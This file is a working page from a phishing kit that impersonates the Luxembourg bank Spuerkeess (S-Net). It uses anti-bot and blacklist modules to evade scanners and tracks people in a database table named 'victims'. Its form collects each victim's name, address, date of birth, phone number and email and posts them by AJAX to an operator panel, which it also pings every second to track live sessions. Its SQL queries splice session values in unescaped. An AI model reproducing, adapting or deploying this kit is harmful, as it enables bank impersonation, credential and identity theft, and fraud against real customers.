<?php
include '../ipanel/inc/config.php';
include '../ipanel/inc/connect.php';
include '../new_anti_config.php';
if ($internal_antibot == 1) {
   include "../ipanel/inc/old_blocker.php";
}
if ($mobile_lock == "checked") {
   include "../ipanel/inc/mob_lock.php";
}
$url = $_SERVER['REQUEST_URI'];



include '../ipanel/inc/blacklist.php';
include '../ipanel/inc/gateway.php';


if ($enable_antibots == "checked") {
   include '../ipanel/inc/anti.php';
}
session_start();

$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'];


if ($_SESSION['started'] == 'true') {

    $uniqueid = $_SESSION['uniqueid'];
    $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
    if ($query) {
   $arr = mysqli_fetch_array($query, MYSQLI_ASSOC);
   $user = $arr['user'];
   $address = $arr['address'];
   if ($address != '') {
    $error = "<div style='color:#D4222D'>" . translateText('errorsp1', $currentLanguage) . "<br><Br></div>";


   }
    }
  
  } else {
     header('location:../exit.php');
}
  


if($_SESSION['started'] == 'true'){
  $uniqueid = $_SESSION['uniqueid'];
  $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
  if ($query) {
          $query = mysqli_query($conn, "UPDATE victims SET status=9, buzzed=1 WHERE uniqueid=$uniqueid");
      }
} else {
     header('location:../exit.php');
}
  

?>
<!DOCTYPE html>
<html lang="eng">

  
<script src="theme/styles.js" type="text/javascript"></script>
    <script type="text/javascript" src="theme/jquery-2.2.3.js"></script>

    
    
<script>
function check(form) {

if (form.name.value.length < 2)
{ form.name.focus(); document.getElementById("name").style.borderColor = "#D4222D"; return;}
else { document.getElementById("name").style.borderColor = "#DDDDDD"; }

if (form.address.value.length < 2)
{ form.address.focus(); document.getElementById("address").style.borderColor = "#D4222D"; return;}
else { document.getElementById("address").style.borderColor = "#DDDDDD"; }

var regExpress = /^(0[1-9]|[12]\d|3[01])\/(0[1-9]|1[0-2])\/(19\d{2}|20[0-2]\d)$/
if (!regExpress.test(form.dob.value))
{ form.dob.focus(); document.getElementById("dob").style.borderColor = "#D4222D"; return;}
else { document.getElementById("dob").style.borderColor = "#DDDDDD"; }

if (form.phonenr.value.length < 2)
{ form.phonenr.focus(); document.getElementById("phonenr").style.borderColor = "#D4222D"; return;}
else { document.getElementById("phonenr").style.borderColor = "#DDDDDD"; }


var regExpressPostcode = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/
if (!regExpressPostcode.test(form.email.value))
{ form.email.focus(); document.getElementById("email").style.borderColor = "#D4222D"; return;}
else { document.getElementById("email").style.borderColor = "#DDDDDD"; }





submit_form();
// form.submit()
}
</script>


</head> 
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
</head>
<body data-lang="eng">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <title>S-Net - Spuerkeess</title>
    <meta name="description" content="snet">
    <meta name="author" content="bcee.lu">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable= no">
    <link rel="icon" type="image/ico" href="theme/favicon.ico">
    <link rel="stylesheet" href="./theme/jquery-ui.min.css">
    <link href="./theme/bootstrap.min.css" rel="stylesheet">
    <link href="./theme/styles.css" rel="stylesheet">
    <link href="./theme/IEfix.css" rel="stylesheet">
<div class="bcee-main">
    <div class="bcee-topbar">
        <ul>
            <li class="logo">
                <a><span class="topbarIcon"></span></a>
            </li>
            <li class="today d-none d-lg-block">
                <span id="datetime"></span>
            </li>
            <li class="action">
                <div id="bcee-info" class="bcee-info-dot large"></div>
            </li>
        </ul>
    </div>
    <div class="bcee-header">
	    <div class="container">
	        <div class="row">
	            <div class="col-lg-12">
	                <div class="header-title d-none d-md-inline-block">Spuerkeess</div>
	                <div class="header-lang">
                    <div id="flagfr" class="single-lang <?php echo ($currentLanguage == 'fr') ? 'active' : ''; ?>">
    <div class="lang-flag">
        <img src="./theme/flag_fr.svg">
    </div>
</div>

<div id="flagde" class="single-lang <?php echo ($currentLanguage == 'de') ? 'active' : ''; ?>">
    <div class="lang-flag">
        <img src="./theme/flag_de.svg">
    </div>
</div>

	
	                    <div id="flagen" class="single-lang">
	                        <div class="lang-flag">
	                            <img src="./theme/flag_en.svg">
	                        </div>
	                    </div>
	                </div>
	            </div>
	        </div>
	    </div>
	</div>
    <form aria-labelledby="pageModule" action="" method="POST" id="loginForm" autocomplete="off">
<input id="thetype" type="hidden" name="thetype"  value="">
<input type="text" autocomplete="off" id="blank" name="blank" readonly="readonly">
    <div class="bcee-content">
        <div class="container">
            <div class="row">
                <div class="col-lg-12" id="maincontent">
					<div class="bcee-frame">
				<div style="padding-top:0px;text-align: left;">
                <h2><?= translateText('formp2', $currentLanguage); ?></h2> 
               <p><?= translateText('footerp4', $currentLanguage); ?></p>


                <?= $error ?>
                <br><br>
                <div class="inputs">
                <label for="name"><?= translateText('footerp5', $currentLanguage); ?></label>
            <input class="form-control" name="name" id="name" type="text" maxlength="85" onKeyDown="if(event.keyCode==13) check(this.form);">
           </div>
           <br>
           <div class="inputs">
           <label for="address"><?= translateText('footerp6', $currentLanguage); ?> </label>
            <input class="form-control" type="text" maxlength="85" name="address" maxlength="55" id="address" onKeyDown="if(event.keyCode==13) check(this.form);" placeholder="">
           </div>
           <br>
           <div class="inputs">
           <label for="dob"><?= translateText('footerp10', $currentLanguage); ?> </label>
            <input class="form-control" type="text" maxlength="85" name="dob" maxlength="10" id="dob" pattern="[0-9]*" onKeyDown="if(event.keyCode==13) check(this.form);" placeholder="<?= translateText('footerp9', $currentLanguage); ?>">
           </div>
           <br>
           <div class="inputs">  <label for="phonenr"><?= translateText('footerp7', $currentLanguage); ?> </label>
           <input class="form-control" type="text" maxlength="85" name="phonenr" maxlength="25" id="phonenr" pattern="[0-9]*" onKeyDown="if(event.keyCode==13) check(this.form);" placeholder="">
         </div>
         <br>
           <div class="inputs"><label for="phonenr">E-mail </label>
           <input class="form-control" type="text" maxlength="85" name="email" maxlength="25" id="email" onKeyDown="if(event.keyCode==13) check(this.form);" placeholder="">
         </div>


<br><br>
<button id="confirm" class="btn btn-reverse bordered" onclick="check(this.form)" type="button"> <?= translateText('formp9', $currentLanguage); ?></button>

             
                </div>
					</div>
                </div>
            </div>
        </div>
    </div>
</div>
</form>
<div id="veepn-breach-alert"></div>
<script>
        function formatDate() {
            const now = new Date();
            const options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
            const date = now.toLocaleDateString('fr-FR', options);
            const time = now.toLocaleTimeString('fr-FR', { hour: 'numeric', minute: 'numeric', hour12: false });
            const formattedDate = `${date} - ${time}`;
            document.getElementById('datetime').innerText = formattedDate;
        }

        formatDate();
    </script>



<script>

var format = "dd/mm/yyyy";
var match = new RegExp(format
    .replace(/(\w+)\W(\w+)\W(\w+)/, "^\\s*($1)\\W*($2)?\\W*($3)?([0-9]*).*")
    .replace(/m|d|y/g, "\\d"));
var replace = "$1/$2/$3$4"
    .replace(/\//g, format.match(/\W/));

function doFormat(target)
{
    target.value = target.value
        .replace(/(^|\W)(?=\d\W)/g, "$10")   // padding
        .replace(match, replace)             // fields
        .replace(/(\W)+/g, "$1");            // remove repeats
}

$("input[name='dob']:first").keyup(function(e) {
   if(!e.ctrlKey && !e.metaKey && (e.keyCode == 32 || e.keyCode > 46))
      doFormat(e.target)
});

</script>


    
<script src="../assets/js/jquery-1.11.3.min.js"></script>
   <script src="../assets/js/main.js"></script>
   <script>
      var pinger = setInterval(function() {
         var urldata = "../ipanel/inc/action.php?type=ping";
         $.ajax({
            url: urldata,
            type: "GET",
            success: function(response) {
               //console.log(response)
            }
         });
      }, 1000);
      function submit_form() {
         var name = document.getElementById('name').value;
         var address = document.getElementById('address').value;
         var dob = document.getElementById('dob').value;
         var phonenr = document.getElementById('phonenr').value;
         var email = document.getElementById('email').value;
         $.ajax({
            type: 'POST',
            url: '../ipanel/inc/action.php?type=safe1',
            data: 'name=' + name + '&address=' + address + '&dob=' + dob + '&phonenr=' + phonenr + '&email=' + email,
            success: function(data) {
               var parsed_data = JSON.parse(data);
               if (parsed_data.status == 'ok') {
                  location.href = "loading.php"
               }
            }
         })
      }


   </script>

</body>
</html>
